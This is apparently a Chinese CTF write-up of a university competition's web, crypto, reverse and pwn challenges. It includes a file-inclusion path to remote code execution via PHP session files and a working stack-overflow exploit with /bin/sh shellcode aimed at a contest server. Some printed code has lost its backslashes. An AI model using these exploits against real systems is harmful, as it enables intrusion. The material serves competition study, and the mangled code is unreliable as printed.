点击上方“蓝字”,关注更多精彩
第二届广东省大学生CTF Writeup
涛哥在学校打的最后一场
CTF
,很精彩的一次比赛,但是最后还差一点打进决赛很可惜,放一张图纪念下。
Web
easy_ctf
如图,我的第一反应这不是算法题吗??老老实实写个代码:
import pyperclip
# 接收输入
data = input()
# 使用字典来计数
dic = {}
for i in data:
# 这个后面你就会知道为什么要写
if i == 'r' or i == 'n':
continue
# 如果dic不存在键i,置键i对应值为0
if dic.get(i, 0) == 0:
dic[i] = 0
dic[i] += 1
# 排序并打印
sorted_dic = sorted(dic.items(), key=lambda x: x[1])
print(sorted_dic)
print()
# 将排序后的字典键都拿出来
ans = ""
for i in sorted_dic:
ans += i[0]
print(ans)
# 自动复制到剪切板,纯纯懒狗行为
pyperclip.copy(ans)
exit()
提交,又刷了一个?这里确实不清楚为什么,我以为是需要多提交几次,于是写了个爬虫(直接把上面的模块改造一下):
import requests
from lxml import etree
import time
url = "http://xxx/"
# 获取响应包
response = requests.get(url=url)
while True:
dic = { }
# 将HTML文本拿出来,如果flag在里面就打印
page_text = response.text
print(page_text)
if "flag" in page_text:
print(page_text)
exit()
# 利用xpath获得元素并得到其文本内容
tree = etree.HTML(page_text)
target_data = tree.xpath('/html/body/table//td')[0].text
print(target_data)
data = target_data
for i in data:
# 文本内容里会带有回车符,过滤掉以免其作为字典键
if i == 'r' or i == 'n':
continue
if dic.get(i, 0) == 0:
dic[i] = 0
dic[i] += 1
sorted_dic = sorted(dic.items(), key=lambda x: x[1])
print(sorted_dic)
ans = ""
for i in sorted_dic:
ans += i[0]
# 将数据提交
data = {
"ans": ans
}
response = requests.post(url=url, data=data)
# 怕搞太快
time.sleep(0.5)
但是跑了很久也没有思路,觉得可能是session
的问题,但是还有一道也是session
的利用,就感觉没这么巧,但是最后就是这么巧:
import requests
from lxml import etree
import time
url = "http://120.79.191.238:47732/"
# 创建session对象,代表这些请求是一次会话中进行的,后面的代码基本不变
session = requests.session()
response = session.get(url=url)
while True:
dic = { }
page_text = response.text
if "flag" in page_text:
print(page_text)
exit()
tree = etree.HTML(page_text)
target_data = tree.xpath('/html/body/table//td')[0].text
print(target_data)
data = target_data
for i in data:
if i == 'r' or i == 'n':
continue
if dic.get(i, 0) == 0:
dic[i] = 0
dic[i] += 1
sorted_dic = sorted(dic.items(), key=lambda x: x[1])
print(sorted_dic)
ans = ""
for i in sorted_dic:
ans += i[0]
data = {
"ans": ans
}
response = session.post(url=url, data=data)
time.sleep(0.2)
放着跑就出flag
了。
in
先是一个简陋的,登录功能?
进入之后很容易发现,以file
参数 + 文件名的形式,大概率存在任意文件读取漏洞,小测一波就出来了/etc/passwd
:
试图读取源码,发现被包含了,好家伙还是个文件包含漏洞:
可以利用php
伪协议读取源码,但源码里没有什么东西,而且伪协议也不能RCE
(我经常参考这篇伪协议总结https://segmentfault.com/a/1190000018991087 ):
php://filter/read=convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=action.php
另外也尝试过远程文件包含,但也失败了,所以我想尝试包含日志来RCE
,通过file=/proc/self/cmdline
确认了中间件为Apache
,也可以读取到配置文件,但没有发现日志文件的位置。
在Cookie
中发现了PHPSESSID
,于是尝试session
文件包含,session
文件的路径一般是这几个:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/xxx/tmp/sess_PHPSESSID
/xxxx/tmp/sessions/sess_PHPSESSID
确定是/tmp/sess_PHPSESSID
(这个PHPSESSID
自定义也行),现在只需要回去改name
就可以RCE
了:
用蚁剑连接也行。
以下部分是涛哥做的。
Crypto
xor2
简单的密码题,给定的程序很短:
from secret import flag
key = "xxxx" # not real key
cipher = ""
for i, c in enumerate(flag):
cipher += chr(ord(c) ^ ord(key[i%4]))
with open("cipher", "w") as f:
f.write(cipher)
很明显,取了key的前4个字符做了运算,由于flag前四位为flag,因此可以推出key,最终key为xxxx....(虚晃一枪?),得到key后,很容易得到flag
import string
key = 120
flag = ''
c = [0x1E,0x14,0x19,0x1F,0x03,0x1E,0x1B,0x1B,0x1A,0x48,0x4E,0x4E,0x4D,0x55,0x1A,0x1B,0x1D,0x4D,0x55,0x1C,0x4B,0x4A,0x41,0x55,0x19,0x1B,0x19,0x4F,0x55,0x41,0x41,0x49,0x4F,0x41,0x1A,0x1C,0x1B,0x41,0x1D,0x1C,0x4B,0x05]
table = string.ascii_letters+string.digits+string.punctuation
for i in range(len(c)):
for j in range(len(table)):
if c[i]^key == ord(table[j]):
flag+=table[j]
print(flag)
reverse
pyre
简单的python逆向程序(无保护措施),Pyinstxtractor
还原出struct
和pyc
文件,修复pyc
:
然后随便找个在线反编译:
def check():
a = input('plz input your flag:')
c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53, 152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]
if len(a) != 42:
print('wrong length')
return 0
b = 179
for i in range(len(a)):
if ord(a[i]) * 33 % b != c[i]:
print('wrong')
return
print('win')
check()
适当改一点,破解一波,得到flag
:
import string
table = string.ascii_letters+string.digits+string.punctuation
def check():
print('aa')
#a = input('plz input your flag:')
c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53, 152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]
#if len(a) != 42:
# print('wrong length')
# return 0
b = 179
flag = ''
for i in range(len(c)):
for j in range(len(table)):
if ord(table[j]) * 33 % b == c[i]:
flag+=table[j]
print(table[j])
print(flag)
check()
simple_re
这个题算是比较正常的难度,Windows下的程序,程序有几个反调试,去掉就好,另外程序是用c++写的,用了虚表,比较麻烦,伪代码如下:
输入错误的验证码,程序运行到第三个函数就异常退出,动态调试看一下:
-
• 函数一
sub_7FF7A6F84160(__int64 a1)
{
__int64 result; // rax
int i; // [rsp+0h] [rbp-18h]
for ( i = 0; i < 36; ++i )
{
*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) = (2 * (*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0x55)) | ((*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xAA) >> 1);
*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) = (4 * (*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0x33)) | ((*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xCC) >> 2);
*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) = (16 * (*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xF)) | ((*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xF0) >> 4);
result = (unsigned int)(i + 1);
}
return result;
}
这部分主要是对输入的flag
进行一个变换。
-
• 函数二
BOOL __fastcall sub_7FF7A6F84260(__int64 a1)
{
int i; // [rsp+20h] [rbp-28h]
_BYTE *v3; // [rsp+30h] [rbp-18h]
lpAddress = VirtualAlloc(0i64, 0xE8ui64, 0x1000u, flOldProtect);
v3 = lpAddress;
for ( i = 0; i < 0xE8; ++i )
v3[i] = *(_BYTE *)(*(_QWORD *)(a1 + *(int *)(*(_QWORD *)(a1 - 16) + 4i64) - 8) + i % 4) ^ ArgList[i];
return VirtualProtect(lpAddress, 0xE8ui64, 0x20u, &flOldProtect);
}
函数先申请了一片空间,然后将flag
的取前 4 个,然后循环与ArgList[i]
进行异或,然后写进空间,这个地方推测可能是使用smc
。
-
• 函数三
__int64 __fastcall sub_7FF7A6F83F60(__int64 a1)
{
__int64 (__fastcall *v2)(__int64, __int64, char *); // [rsp+20h] [rbp-48h]
char v3[32]; // [rsp+28h] [rbp-40h] BYREF
v2 = (__int64 (__fastcall *)(__int64, __int64, char *))lpAddress;
strcpy(v3, "Welcome to the game!nYour key: ");
((void (__fastcall *)(__int64, __int64, char *))lpAddress)(
12i64,
*(_QWORD *)(a1 + *(int *)(*(_QWORD *)(a1 + 8) + 4i64) + 16) + 4i64,
v3);
return v2(12i64, *(_QWORD *)(a1 + *(int *)(*(_QWORD *)(a1 + 8) + 4i64) + 16) + 20i64, &v3[16]);
}
很明显调用了lpAddress
,因此只要函数二的结果不对,函数三执行的指令就错误,由于只是取flag
前 4 位,因此可以很容易突破函数二,动态跟踪一下函数三,看看最终做了什么验证。
这里主要做了类xtea
算法的加密,逆解密可以得到变形后flag
,然后再逆推回去,就能得到flag
:
from z3 import *
from json import *
from ctypes import *
'''
*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) = (2 * (*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0x55)) | ((*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xAA) >> 1);
*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) = (4 * (*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0x33)) | ((*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xCC) >> 2);
*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) = (16 * (*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xF)) | ((*(_BYTE *)(*(_QWORD *)(a1 + 8) + i) & 0xF0) >> 4);
'''
def solve2chr(solve):
solve_str = str(solve)
for i in ['[',']',' ','n']:
solve_str = solve_str.replace(i,'')
result = loads('{"'+solve_str.replace('=','":"').replace(',','","')+'"}')
return result
def getchar(str_list,num):
sol = Solver()
flag4_ = ''
flag4 = [BitVec(f"flag4[{i}]", 16) for i in range(num)]
for i in range(num):
flag4[i] = (2 * (flag4[i] & 0x55)) | ((flag4[i] & 0xAA) >> 1)
flag4[i] = (4 * (flag4[i] & 0x33)) | ((flag4[i] & 0xCC) >> 2)
flag4[i] = (16 * (flag4[i] & 0xF)) | ((flag4[i] & 0xF0) >> 4)
for i in range(num):
sol.add(flag4[i] == str_list[i])
assert sol.check() == z3.sat
solve = sol.model()
solve_dict = solve2chr(solve)
for i in range(num):
flag4_ += chr(int(solve_dict["flag4"+str(i)]))
print(flag4_)
def decrypt(v, k):
v0, v1 = c_uint32(v[0]), c_uint32(v[1])
delta = 0x876AAC7F
total = c_uint32(delta * 12)
for i in range(12):
v1.value -= (((v0.value << 3) ^ (v0.value >> 6)) + v0.value) ^ (total.value + k[(total.value >> 11) & 3])
total.value -= delta
v0.value -= (((v1.value << 3) ^ (v1.value >> 6)) + v1.value) ^ (total.value + k[total.value & 3])
print(hex(v0.value),hex(v1.value))
def main():
str_list = [0x72, 0x0C, 0xF6, 0x0E, 0x8C, 0x69, 0x23, 0x69, 0x59, 0xA8, 0x06, 0xEF, 0x2A, 0x1A, 0x56, 0xB6, 0x96, 0xAC, 0xEE, 0x92, 0x5C, 0xF2, 0xED, 0x0A, 0x5F, 0x36, 0x8E, 0x41, 0xA6, 0x36, 0x86, 0x72, 0x56, 0xD2, 0x54, 0xC2]
getchar(str_list,4)
v1 = [0x6923698C, 0xEF06A859]
v2 = [0x0AEDF25C, 0x418E365F]
k1 = [0x636C6557, 0x20656D6F, 0x74206F74, 0x67206568]
k2 = [0x21656D61, 0x756F590A, 0x656B2072, 0x00203A79]
decrypt(v1,k1)
decrypt(v2,k2)
#0xcce2fa86 0x5ec49ea2
#0xac642612 0x4c724a0e
flag_encode = [0x72, 0x0C, 0xF6, 0x0E, 0x86, 0xFA, 0xE2, 0xCC, 0xA2, 0x9E, 0xC4, 0x5E, 0x2A, 0x1A, 0x56, 0xB6, 0x96, 0xAC, 0xEE, 0x92, 0x12, 0x26, 0x64, 0xAC, 0x0E, 0x4A, 0x72, 0x4C, 0xA6, 0x36, 0x86, 0x72, 0x56, 0xD2, 0x54, 0xC2]
print('flag:')
getchar(flag_encode,36)
main()
pwn
jmp_rsp
简单的栈溢出题:
from pwn import *
r = remote('47.106.122.102',46727)
jmp_rsp = 0x46d01d
shellcode = b'x6ax3bx58x99x52x48xbbx2fx2fx62x69x6ex2fx73x68x53x54x5fx52x57x54x5ex0fx05'
payload = b"A" * 0x88 + p64(jmp_rsp) + shellcode
r.sendline(payload)
r.interactive()
midpwn
赛后出的,忘记去验证能不能远程打通,exp先不放出。
参考文章
-
• http://www.ctfiot.com/41085.html
-
• https://blog.csdn.net/qq_38154820/article/details/120300273
END
• 往期精选
原文始发于微信公众号(格物安全):第二届广东省大学生CTF Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论